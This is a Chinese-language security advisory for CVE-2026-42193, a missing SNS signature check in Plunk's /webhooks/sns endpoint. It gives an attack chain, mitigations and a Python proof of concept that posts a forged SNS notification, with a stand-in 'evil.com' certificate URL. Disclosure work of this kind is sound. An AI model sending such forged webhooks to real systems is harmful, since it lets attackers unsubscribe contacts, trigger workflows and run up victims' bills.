IPBUF安全漏洞报告
English
CVE-2026-42193 CVSS 9.1 严重

CVE-2026-42193 Plunk SNS签名验证缺失漏洞

披露日期: 2026-05-08

漏洞信息

漏洞编号
CVE-2026-42193
漏洞类型
身份验证绕过
CVSS评分
9.1 严重
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
无需交互 (UI:N)
影响产品
Plunk

相关标签

身份验证绕过PlunkAWS SNSWebhook伪造严重漏洞

漏洞概述

Plunk是一个构建于AWS SES之上的开源电子邮件平台。在0.9.0版本之前,其/webhooks/sns端点存在严重的身份验证缺失漏洞。该系统在处理Amazon SNS通知载荷时,未对请求的签名、证书或主题ARN进行验证,直接接受来自未认证来源的请求。这使得未经身份验证的攻击者能够伪造看似合法的Webhook请求,进而欺骗SNS事件,触发自动化工作流,恶意取消订阅联系人,篡改邮件投递指标,并可能导致账单额度被恶意耗尽。

技术细节

该漏洞的核心在于Plunk在实现/webhooks/sns接口时,完全绕过了AWS SNS的标准安全验证流程。在正常的AWS SNS集成场景中,接收端服务必须验证消息的“Signature”字段,该签名是利用AWS提供的X.509证书对消息内容进行加密生成的。此外,还需验证证书的来源是否可信以及Topic ARN是否匹配。然而,在受影响的Plunk版本中,开发人员未实施这些关键校验步骤。这意味着攻击者无需拥有任何AWS凭证或访问私钥,只需简单构造一个符合SNS JSON结构的HTTP POST请求即可。由于系统信任所有传入的数据,攻击者可以伪造“SubscriptionConfirmation”、“Notification”或“UnsubscribeConfirmation”等类型的消息。一旦服务器接收到这些伪造数据,便会将其视为来自AWS的合法指令并执行相应的业务逻辑,例如触发邮件发送工作流、删除用户订阅或记录虚假的投递数据,从而严重破坏系统的完整性和可用性。

攻击链分析

STEP 1
侦察
攻击者识别出目标正在使用Plunk平台,并定位到公开暴露的/webhooks/sns端点。
STEP 2
武器化
攻击者构造一个符合Amazon SNS通知格式的JSON数据包,其中包含恶意指令(如取消订阅或触发工作流),但无需真实的AWS签名。
STEP 3
交付
攻击者通过HTTP POST请求将伪造的载荷直接发送到目标系统的/webhooks/sns接口。
STEP 4
利用
由于目标系统未验证签名和证书,直接接收并解析了恶意载荷,将其视为合法的AWS SNS事件。
STEP 5
影响
系统执行了伪造事件对应的业务逻辑,导致联系人被恶意移除、业务数据被篡改或资源被耗尽。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import requests import json # CVE-2026-42193 PoC Generator for Plunk SNS Signature Bypass # Target: Plunk < v0.9.0 def exploit_sns_spoof(target_url): # The application does not verify Signature, SigningCertURL, or TopicARN # Attackers can craft a malicious SNS notification payload. sns_payload = { "Type": "Notification", "MessageId": "spoofed-id-12345", "TopicArn": "arn:aws:sns:us-east-1:123456789012:FakeTopic", "Subject": "Malicious SNS Event", "Message": "This payload is not signed by AWS, but Plunk accepts it.", "Timestamp": "2026-05-08T22:16:31Z", "SignatureVersion": "1", "Signature": "ThisValueIsIgnoredByVulnerableApp", "SigningCertURL": "http://evil.com/cert.pem" } headers = { "Content-Type": "application/json", "User-Agent": "CVE-2026-42193-Scanner" } try: print(f"[*] Sending spoofed SNS request to {target_url}/webhooks/sns") response = requests.post( f"{target_url}/webhooks/sns", data=json.dumps(sns_payload), headers=headers, timeout=10 ) if response.status_code == 200: print("[+] Exploit successful! Server accepted the unverified payload.") print(f"[+] Response: {response.text}") else: print(f"[-] Server returned status code: {response.status_code}") except Exception as e: print(f"[!] Error during exploit: {e}") if __name__ == "__main__": target = "http://localhost:3000" # Replace with actual target exploit_sns_spoof(target)

影响范围

Plunk < 0.9.0

防御指南

临时缓解措施
如果无法立即升级,建议在WAF或防火墙上配置规则,阻断对/webhooks/sns路径的直接外部访问,或仅允许来自AWS IP地址范围的请求。同时,应密切监控账单使用情况和异常的联系人变动记录。

参考链接